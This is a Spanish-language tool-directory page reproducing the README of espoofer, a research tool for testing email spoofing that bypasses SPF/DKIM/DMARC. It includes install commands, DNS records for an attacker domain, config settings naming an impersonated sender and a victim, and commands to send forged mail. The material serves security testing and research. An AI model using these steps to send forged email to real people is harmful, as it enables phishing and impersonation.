Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
espoofer — Una herramienta de prueba de suplantación de correo electrónico que tiene como objetivo eludir SPF/DKIM/DMARC y falsificar firmas DKIM.🍻 | Kitploit
Herramientas/GitHubGitHub/chenjj/espoofer
Herramientas de PhishingAnálisis de VulnerabilidadesPruebas de PenetraciónPapers e InvestigaciónAprendizaje y EducaciónSeguridad de Correo Electrónico
GitHubchenjj/espoofer

espoofer

Una herramienta de prueba de suplantación de correo electrónico que tiene como objetivo eludir SPF/DKIM/DMARC y falsificar firmas DKIM.🍻

Ver Repositorio
1.7k28141hace 4 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

espoofer

espoofer es una herramienta de prueba de código abierto para eludir la autenticación SPF, DKIM y DMARC en sistemas de correo electrónico. Ayuda a administradores de servidores de correo y probadores de penetración a verificar si el servidor de correo y el cliente objetivo son vulnerables a ataques de suplantación de correo electrónico o pueden ser utilizados para enviar correos falsificados.


Figura 1. Un caso de nuestros ataques de suplantación en Gmail (Solucionado, Video de demostración)

¿Por qué construir esta herramienta?

La suplantación de correo electrónico es una gran amenaza tanto para individuos como para organizaciones (Brecha de Yahoo, John Podesta). Para abordar este problema, los servicios de correo modernos y los sitios web emplean protocolos de autenticación -- SPF, DKIM y DMARC -- para prevenir la falsificación de correos.

Nuestra investigación más reciente muestra que la implementación de estos protocolos sufre una serie de problemas de seguridad, que pueden ser explotados para eludir las protecciones SPF/DKIM/DMARC. La Figura 1 demuestra uno de nuestros ataques de suplantación para eludir DKIM y DMARC en Gmail. Para más detalles técnicos, consulte nuestra charla en Black Hat USA 2020 (con video de presentación) o el artículo de USENIX Security 2020.

  • Diapositivas de Black Hat USA 2020 (PDF): You have No Idea Who Sent that Email: 18 Attacks on Email Sender Authentication
  • Artículo de USENIX Security 2020 (PDF): Composition Kills: A Case Study of Email Sender Authentication
    • Ganador del Premio al Artículo Distinguido

En este repositorio, resumimos todos los casos de prueba que encontramos y los integramos en esta herramienta para ayudar a administradores y profesionales de seguridad a identificar y localizar rápidamente dichos problemas de seguridad.

Por favor, use la siguiente cita si realiza investigación científica (Haga clic aquí).

Versión LaTeX:

@inproceedings{chen-email,
author = {Jianjun Chen and Vern Paxson and Jian Jiang},
title = {Composition Kills: A Case Study of Email Sender Authentication},
booktitle = {29th {USENIX} Security Symposium ({USENIX} Security 20)},
year = {2020},
isbn = {978-1-939133-17-5},
pages = {2183--2199},
url = {https://www.usenix.org/conference/usenixsecurity20/presentation/chen-jianjun},
publisher = {{USENIX} Association},
month = aug,
}

Versión Word:

Jianjun Chen, Vern Paxson, and Jian Jiang. "Composition kills: A case study of email sender authentication." In 29th USENIX Security Symposium (USENIX Security 20), pp. 2183-2199. 2020.

Instalación

  • Descargar esta herramienta
git clone https://github.com/chenjj/espoofer
  • Instalar dependencias
sudo pip3 install -r requirements.txt

Versión de Python: Python 3 (>=3.7).

Uso

espoofer tiene tres modos de trabajo: servidor ('s', modo predeterminado), cliente ('c') y manual ('m'). En modo servidor, espoofer funciona como un servidor de correo para probar la validación en servicios receptores. En modo cliente, espoofer funciona como un cliente de correo para probar la validación en servicios emisores. El modo manual se utiliza para fines de depuración.


Figura 2. Tres tipos de atacantes y sus modos de trabajo

Modo servidor

Para ejecutar espoofer en modo servidor, necesita tener: 1) una dirección IP (1.2.3.4) cuyo puerto de salida 25 no esté bloqueado por el ISP, y 2) un dominio (attack.com).

  1. Configuración del dominio
  • Establecer la clave pública DKIM para attack.com
selector._domainkey.attacker.com TXT  "v=DKIM1; k=rsa; t=y; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDNjwdrmp/gcbKLaGQfRZk+LJ6XOWuQXkAOa/lI1En4t4sLuWiKiL6hACqMrsKQ8XfgqN76mmx4CHWn2VqVewFh7QTvshGLywWwrAJZdQ4KTlfR/2EwAlrItndijOfr2tpZRgP0nTY6saktkhQdwrk3U0SZmG7U8L9IPj7ZwPKGvQIDAQAB"
  • Establecer el registro SPF para attack.com
attack.com TXT "v=spf1 ip4:1.2.3.4 +all"
  1. Configurar la herramienta en config.py
config ={
	"attacker_site": b"attack.com", # attack.com
	"legitimate_site_address": b"[email protected]", # legitimate.com
	"victim_address": b"[email protected]", # [email protected]
	"case_id": b"server_a1", # server_a1
}

Puede listar los case_id de todos los casos de prueba usando la opción -l:

python3 espoofer.py -l
  1. Ejecutar la herramienta para enviar un correo falsificado
python3 espoofer.py

Puede cambiar el case_id en config.py o usar la opción -id en la línea de comandos para probar diferentes casos:

python3 espoofer.py -id server_a1

Modo cliente

Para ejecutar espoofer en modo cliente, necesita tener una cuenta en los servicios de correo objetivo. Este ataque explota la falla de algunos servicios de correo para realizar una validación suficiente de los correos recibidos de MUAs locales. Por ejemplo, [email protected] intenta hacerse pasar por [email protected].

  1. Configurar la herramienta en config.py
config ={
	"legitimate_site_address": b"[email protected]",  
	"victim_address": b"[email protected]", 
	"case_id": b"client_a1",

	"client_mode": {
		"sending_server": ("smtp.gmail.com", 587),  # Servidor emisor SMTP y puerto
		"username": b"[email protected]", # Nombre de usuario y contraseña de su cuenta
		"password": b"su_contraseña_aqui",
	},
}

Puede listar los case_id de todos los casos de prueba usando la opción -l:

python3 espoofer.py -l

Nota: sending_server debe ser la dirección del servidor SMTP emisor, no la dirección del servidor receptor.

  1. Ejecutar la herramienta para enviar un correo falsificado
python3 espoofer.py -m c

Puede cambiar el case_id en config.py y ejecutarlo de nuevo, o puede usar la opción -id en la línea de comandos:

python3 espoofer.py -m c -id client_a1

Modo manual

Aquí hay un ejemplo del modo manual:

python3 espoofer.py -m m -helo attack.com -mfrom <[email protected]> -rcptto <[email protected]> -data raw_msg_here -ip 127.0.0.1 -port 25

Capturas de pantalla

  1. Una breve descripción general de los casos de prueba.

Errores encontrados con esta herramienta

Descargar herramienta